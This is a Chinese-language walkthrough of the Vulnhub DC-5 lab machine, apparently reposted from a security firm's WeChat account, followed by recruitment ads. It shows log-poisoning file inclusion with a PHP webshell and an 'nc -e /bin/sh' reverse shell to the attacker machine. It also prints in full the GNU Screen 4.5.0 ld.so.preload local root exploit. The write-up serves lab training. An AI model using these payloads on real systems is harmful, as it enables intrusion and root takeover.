Vulnhub 靶机实战系列:DC -5
2022-10-10 09:32:10 Author: 白帽子(查看原文) 阅读量:14 收藏

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1

搭建测试靶机

下载地址:https://www.five86.com/dc-5.html
则靶机DC-5 ip:192.168.188.158(NAT连接)
攻击机kalilinux ip:192.168.188.144

No.2

信息收集

用netdiscover -r 192.168.188.0/24 扫描ip,得到靶机ip 192.168.188.160

先来端口扫描
利用nmap对目标主机进行端口扫描,发现开放端口:80

使用命令:nmap -A -p- 192.168.188.160

扫描目录

命令:dirb http://192.168.188.160

访问DC-5的web服务,只有一个提示,看不出什么特别来

查看一下网站的页面功能后,点击打开contact页面的提交留言后,出现改变。
发现contact页面在提交留言后,出现改变,年份刷新一次改变一次。

直接访问http://192.168.188.160/thinkyou.php也是一样的界面

访问http://192.168.188.160/footer.php

No.3

漏洞利用

考虑存在文件包含
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)
该网站网页每刷新一次,年份都会发生变化,因此我们猜测thinkyou.php调用了footer.php,于是想到了文件包含漏洞
尝试FUZZ参数

root@kalilinux:~# wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.188.160/thankyou.php?FUZZ=/etc/passwd

用burp抓包检测,可以看到的确存在该漏洞并且没有过滤包含进来的内容

将一句话木马写入到php的日志文件中,包含文件
在前面的nmap扫描中,我们已经知道该web服务器使用的是Nginx服务,并且在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿 shell,写入phpinfo()进行探测,是否可以包含成功。
将一句话木马通过URL写入到服务器上面,并且通过burp进行抓包。

通过日志文件log查看是否写入成功。
日志路径为:/var/log/nginx/access.log,是系统默认路径

通过firefox浏览器打开访问URL:http://192.168.188.160/thankyou.php?file=/var/log/nginx/access.log,发现一句话木马已经写入成功。

使用bp抓包写入PHP的执行系统命令 (关于passthru()函数的快速描述passthru - 执行外部程序并显示原始输出)

进行测试,看是否外部命令是否能够正常执行的;

命令:http://192.168.188.160/thankyou.php?file=/var/log/nginx/access.log&abc=cat%20/etc/passwd

反弹shell
通过nc命令直接进行shell反弹

abc=nc -e /bin/sh 192.168.188.144 7777http://192.168.188.160/thankyou.php?file=/var/log/nginx/access.log&abc=nc -e /bin/sh 192.168.188.144 777

在kali上用命令:nc -lvvp 7777 对端口7777进行监听

切换到交互模式shell

交互式shell命令:python -c 'import pty;pty.spawn("/bin/bash")'

查看具有特殊权限的二进制文件
查找一下可以用root权限运行的命令;

命令:find / -perm -u=s -type f 2>/dev/null

这里我们发现了一个screen-4.5.0的这个特殊文件
在kali中使用searchsploit命令对screen-4.5.0漏洞进行搜索

[email protected]:~# searchsploit screen 4.5.0---------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title                                                                          |  Path                                                                                        | (/usr/share/exploitdb/)---------------------------------------------------------------------------------------- ----------------------------------------GNU Screen 4.5.0 - Local Privilege Escalation                                           | exploits/linux/local/41154.shGNU Screen 4.5.0 - Local Privilege Escalation (PoC)                                     | exploits/linux/local/41152.txt---------------------------------------------------------------------------------------- ----------------------------------------Shellcodes: No Result

我们直接利用

/usr/share/exploitdb/exploits/linux/local/目录下的41154.sh文件
将该41154.sh文件拷贝到/root目录下

将41154.sh文件上传到目标机DC-5上面
kali中当前路径开启python.server,供DC-5下载

命令:python -m SimpleHTTPServer 9999

用python开启简单的服务器后,在以获得的DC-5的getshell下载41154.sh文件;

编译脚本

chmod +x 41154.sh./41154.sh

我们可以发现,脚本执行出现错误。
重新在kali中打开41154.sh文件,研究一下41154.sh脚本代码

[email protected]:~# cat 41154.sh# !/bin/bash# screenroot.sh# setuid screen v4.5.0 local root exploit# abuses ld.so.preload overwriting to get root.# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html# HACK THE PLANET# ~ infodox (25/1/2017) echo "~ gnu/screenroot ~"echo "[+] First, we create our shell and library..."cat << EOF > /tmp/libhax.c# include <stdio.h># include <sys/types.h># include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){    chown("/tmp/rootshell", 0, 0);    chmod("/tmp/rootshell", 04755);    unlink("/etc/ld.so.preload");    printf("[+] done!\n");}EOFgcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.crm -f /tmp/libhax.ccat << EOF > /tmp/rootshell.c# include <stdio.h>int main(void){    setuid(0);    setgid(0);    seteuid(0);    setegid(0);    execvp("/bin/sh", NULL, NULL);}EOFgcc -o /tmp/rootshell /tmp/rootshell.crm -f /tmp/rootshell.cecho "[+] Now we create our /etc/ld.so.preload file..."cd /etcumask 000 # becausescreen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline neededecho "[+] Triggering..."screen -ls # screen itself is setuid, so... /tmp/rootshell[plain]:set ff=unix[email protected]:~# 

通过以上分析,我们应该对以上代码分三步走
第一步:把该bash文件的上面一部分c语言代码单独复制出来,如图

libhax.c进行编译,编译完成后将libhax.c文件删除;

第二步:把下面一个c语言代码也单独复制出来取文件名为rootshell.c,然后进行编译操作

对rootshell.c文件进行gcc编译后,将原文件rootshell.c删除掉;

第三步:修改原来41154.sh的bash文件,如下图所示

第四步:通过vi编译器打开已经编译好的41154.sh文件,并使用 :set ff=unix 进行保存
编译后对41154.sh进行更名为dc5.sh

最后把编译好的两个文件(libhax.so 和 rootshell)和41154.sh文件全部都上传到DC-5靶机上面

提权
给dc5.sh文件赋予执行权,并且运行dc5.sh,提权成功

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至 

[email protected]


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246383&idx=1&sn=7509872265ada2abd7a2336e14b21f0b&chksm=82ea5746b59dde504ee48569e581b8f0874e79336e492dba659247a9d1164ccde43192a0c946#rd
如有侵权请联系:admin#unsafe.sh